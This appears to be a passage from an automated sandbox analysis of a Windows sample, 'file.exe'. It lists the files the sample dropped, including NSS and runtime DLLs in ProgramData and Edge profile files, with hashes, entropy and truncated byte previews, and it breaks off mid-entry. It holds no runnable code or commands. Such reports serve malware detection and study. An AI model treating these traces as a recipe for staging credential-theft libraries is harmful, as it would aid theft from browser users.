Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\161c3d47-fda1-4a7e-a8d5-a7763c9bc5a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46383
Entropy (8bit):	6.085935411412757
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgxK8vAri1zNtdLa9XpB16bHK3xIAB3lYCioJJDSgzMMd6qD47n:mMk1rT8HRKeZaXhTYFoJtSmd6qE7n
MD5:	96E6F57A0B65D95CB02BCFB66AD558BE
SHA1:	B419227134A01F5023DC420198479BCBE81B6105
SHA-256:	C92572C28CB581E5FBDA90088E79AD0B692417025DBD945FCEAB28A0C2B24C52
SHA-512:	E38D478CAE3F1902B9C36700007DA9792C59B9FFEA7CAE840BDFBC820467055FFEA905B8A73695EF66FE68B7DC89FF41C29A2FB921B81DB5D99B26CB8F5758E6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376583808288138","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"651ce3ba-3f58-49f6-a3c6-42089bbe16e6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732110212"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\16bcdbb5-57b7-472e-b8e0-a498d854bb55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46507
Entropy (8bit):	6.0856109388716595
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgwK8v5ri1zNtdLjXpB16bHK3xIAB3lYCioJJDSgzMMd6qD47uS:mMk1rT8HQKeoZhTYFoJtSmd6qE7n
MD5:	68CE3B26C7338B1472A2BD78C30C2D26
SHA1:	D7FD9AC6BAAA6B7C2BE3E0424ECA86FD4333F16E
SHA-256:	E5A2CE79F7531A7FC6E1B1142708CC1FE7CF1E1D0B7DADB07B5F3227266D69AA
SHA-512:	EA90475FEA240FA65CB81F02AF60583E900DE429A521EC00A0203F04CBFA1D9C119AFE56CEA26E70378CA3C115B26F733BDE2127918A07C66620B48AF04B22BD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376583808288138","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"651ce3ba-3f58-49f6-a3c6-42089bbe16e6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732110212"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23ff564d-614f-4b97-97a9-59848068eb0a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45000
Entropy (8bit):	6.095204878684123
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWvdwi1zNtdLa9XpB16bHKKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yO4LaXKtSmd6qE7lFoC
MD5:	89F9E0774FBE9F9FAA7ED6F65294C8F9
SHA1:	971EF7FAA2A9FAD7CF713F8F8A5A4047CD1A2401
SHA-256:	074F88E525460D6093ADE6AF8BDB183C92B475D19581388E1B2AB1AF2882B9A1
SHA-512:	65CA24C85B7DD7966D965A5DA0927A5D3D66A921F9A56FDC6CF56D9463D9A9844EB6D7F143311F391E7304E35B57425E45C695C921BD7D2EFFF56E5C9885D264
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\29313a1b-6699-4110-a083-bdccc79857a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\31dc5e99-4a25-4775-9c7c-b94addffe010.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46430
Entropy (8bit):	6.085695261052403
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgxK8v5ri1zNtdLa9XpB16bHK3xIAB3lYCioJJDSgzMMd6qD47n:mMk1rT8HRKeoaXhTYFoJtSmd6qE7n
MD5:	327EAE2DFE4224B765B4B8D27728BB3A
SHA1:	DAB4B06875B3B30AA43A291AFE3F4C7B6F8F9C3A
SHA-256:	99F4ED1E53E8DCFD6DA29586D8CBB427D59A7AF4B3371239E4C0326DEA880E21
SHA-512:	2809AAD9C886209BA1D7C1506B3A6E08CC807E6E5272D74A807CA646000F4312409EF6D7DED9663E03E73B63751A773F332812F37D79788C4457BBCD71EB2B57
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376583808288138","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"651ce3ba-3f58-49f6-a3c6-42089bbe16e6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732110212"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8fda10d1-c87b-405e-a29b-2ef203daad89.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46507
Entropy (8bit):	6.0856142519081216
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgw98v5ri1zNtdLjXpB16bHK3xIAB3lYCioJJDSgzMMd6qD47uS:mMk1rT8HQ9eoZhTYFoJtSmd6qE7n
MD5:	D24726A3D288523EF6D0719C46FA1161
SHA1:	6F3D9D595941405C6E73310CAC5AAC8905D1C36E
SHA-256:	E8EBA017AF6C35AF1D3B4313E9322027AB5DB07C14A559D20D1930D1C1006F63
SHA-512:	32E4883A5B7C638C4E6B11FF3BBBE75823A0EEEB40B39836BE15DBC580DB477A3C2D323104EEF166D5E44E3FDD39AF49BF9EADA87D41B9F43DEDE5221A4F532B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376583808288138","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"651ce3ba-3f58-49f6-a3c6-42089bbe16e6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732110212"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\980a980c-3d88-4ff4-93ba-139b6a3a8e70.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.094979063961817
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvWwi1zNtdLaNcHkSqqrjKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4yaAKtSmd6qE7lFoC
MD5:	673EDD569C7120F40D40B45C78622CFA
SHA1:	60A425611CA9481116B5AE0AF23C1790A6BAC5E7
SHA-256:	AC5BDDA8B7F75993FF85E58F818B34930CEAD43E83A4C94D7BEB36AADE8DECE1
SHA-512:	B955963FF34FCAC7983BCD508D723AFA9E9BE5573F49F45B4DAF8F4B033B4856640C395D0DDE63D49BC77F4F88BD73A9D2D71C7DD12C57535FC91EA30BD54C44
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\edf33127-ab7f-4a59-80e5-1434988d0cf0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673DE77F-1FC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4590010207842094
Encrypted:	false
SSDEEP:	3072:lGqu9DR4Tui0Wi7U2t9TkcsbwVcXmn0MwTObw3bI8+qXEjfZqEg1HFyU:Pu9mCU2tZkcsbXm6TDI8+qXafZqEaHx
MD5:	12679015D06DA84C1FB34E0B55DC6600
SHA1:	43CCF65D5641D879600E3FFD3383D7A611B8E611
SHA-256:	CC3C0EF832A91C0E6FF83D842F5910A0335570E953C0311B96ED542775298CFA
SHA-512:	33037AE3F2F86441CEF161A2AED919B1EA05918B6A1B978D3C782EF7FE7ADB7B9988826412F8092B24C448FABD567DBD3D389B4D8C41C2AD8728B7D8751CEF3E
Malicious:	false
Preview:	...@..@...@.....C.].....@...................0...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tgwigv20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
